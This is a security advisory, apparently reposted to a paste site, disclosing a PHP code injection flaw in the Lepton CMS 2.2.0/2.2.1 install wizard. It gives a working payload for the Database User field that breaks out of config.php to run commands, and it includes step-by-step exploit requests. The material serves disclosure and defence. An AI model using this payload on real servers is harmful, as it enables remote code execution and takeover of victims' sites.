Lepton CMS 2.2.0 / 2.2.1 - PHP Code Injection

WebApplicationExploits     Text     18 August 2016    
  1. [+] Credits: John Page (HYP3RLINX)
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:
  6. http://hyp3rlinx.altervista.org/advisories/LEPTON-PHP-CODE-INJECTION.txt
  7.  
  8. [+] ISR: ApparitionSec
  9.  
  10.  
  11.  
  12. Vendor:
  13. ==================
  14. www.lepton-cms.org
  15.  
  16.  
  17.  
  18. Product:
  19. =================================
  20. Lepton CMS 2.2.0 / 2.2.1 (update)
  21.  
  22. LEPTON is an easy-to-use but full customizable Content Management System
  23. (CMS).
  24.  
  25.  
  26.  
  27.  
  28. Vulnerability Type:
  29. ===================
  30. PHP Code Injection
  31.  
  32.  
  33.  
  34. CVE Reference:
  35. ==============
  36. N/A
  37.  
  38.  
  39.  
  40. Vulnerability Details:
  41. =====================
  42.  
  43. No input validation check is done on the "Database User" input field when
  44. entering Lepton CMS setup information using the Install Wizard.
  45. Therefore, a malicious user can input whatever they want in "config.php",
  46. this can allow for PHP Remote Command Execution on the Host system.
  47.  
  48. e.g.
  49.  
  50. In the database username field, single quote to close "DB_USERNAME" value
  51. then open our own PHP tags.
  52.  
  53. ');?><?php exec(`calc.exe`);?>
  54.  
  55. Now in "config.php" the Database username becomes ===>
  56. define('DB_USERNAME', '');?><?php exec(`calc.exe`);?>');
  57.  
  58. A security check attempt is made by Lepton to disallow making multiple HTTP
  59. requests for "config.php". On line 3 of "config.php" file we find.
  60.  
  61. ///////////////////////////////////////////////////////////////////////////////////////////////////////
  62.  
  63. if(defined('LEPTON_PATH')) { die('By security reasons it is not permitted
  64. to load \'config.php\' twice!!
  65. Forbidden call from \''.$_SERVER['SCRIPT_NAME'].'\'!'); }
  66.  
  67. ///////////////////////////////////////////////////////////////////////////////////////////////////////////
  68.  
  69. However, the security check is placed on line 3 way before "LEPTON_PATH"
  70. has been defined allowing complete bypass of that access control check.
  71. Now we can inject our own PHP code into the config allowing Remote Command
  72. Execution or Local/Remote File Includes etc...
  73.  
  74. Next, make HTTP GET request to "http://victim-server/upload/install/save.php"
  75. again and code execution will be achieved or request "config.php"
  76. directly as the security check made on line 3 of "config.php" to prevent
  77. multiple HTTP requests to "config.php" does NOT work anyhow.
  78.  
  79. In situations where an installation script is provided as part of a some
  80. default image often available as a convenience by hosting providers, this
  81. can
  82. be used to gain code execution on the target system and bypass whatever
  83. security access controls/restrictions etc.
  84.  
  85. References:
  86. http://www.lepton-cms.org/posts/important-lepton-2.2.2-93.php
  87.  
  88.  
  89. Exploit code(s):
  90. ===============
  91.  
  92. 1) At step 4 of Leptons Install Wizard, enter ');?><?php
  93. exec(`calc.exe`);?> for Database User name, then fill in rest of fields
  94.  
  95. 2) Click go to step 5 and fill in required fields, then click "Install
  96. LEPTON"
  97.  
  98. 3) Make HTTP GET request to:
  99.  
  100.  http://localhost/LEPTON_stable_2.2.0/upload/install/save.php
  101.  
  102.   OR
  103.  
  104.  http://localhost/LEPTON_stable_2.2.0/upload/config.php
  105.  
  106.  
  107. BOOM pop calc.exe...
  108.  
  109.  
  110.  
  111. Disclosure Timeline:
  112. ===========================================================
  113. Attempted Vendor Notification: June 11, 2016 (No replies)
  114. Vendor Notification on July 12, 2016 ( thanks Henri Salo )
  115. Vendor Acknowledgement: July 13, 2016
  116. Vendor fixes: July 14, 2016
  117. Vendor release version 2.2.2 : August 12, 2016
  118. August 15, 2016  : Public Disclosure
  119.  
  120.  
  121.  
  122.  
  123. Severity Level:
  124. ================
  125. High
  126.  
  127.  
  128. [+] Disclaimer
  129. The information contained within this advisory is supplied "as-is" with no
  130. warranties or guarantees of fitness of use or otherwise.
  131. Permission is hereby granted for the redistribution of this advisory,
  132. provided that it is not altered except by reformatting it, and
  133. that due credit is given. Permission is explicitly given for insertion in
  134. vulnerability databases and similar, provided that due credit
  135. is given to the author. The author is not responsible for any misuse of the
  136. information contained herein and accepts no responsibility
  137. for any damage caused by the use or misuse of this information. The author
  138. prohibits any malicious use of security related information
  139. or exploits by the author or elsewhere.
  140.  
  141. HYP3RLINX
  142.  
連絡先: info@paste.jp
Created by Paste.jp - v7.0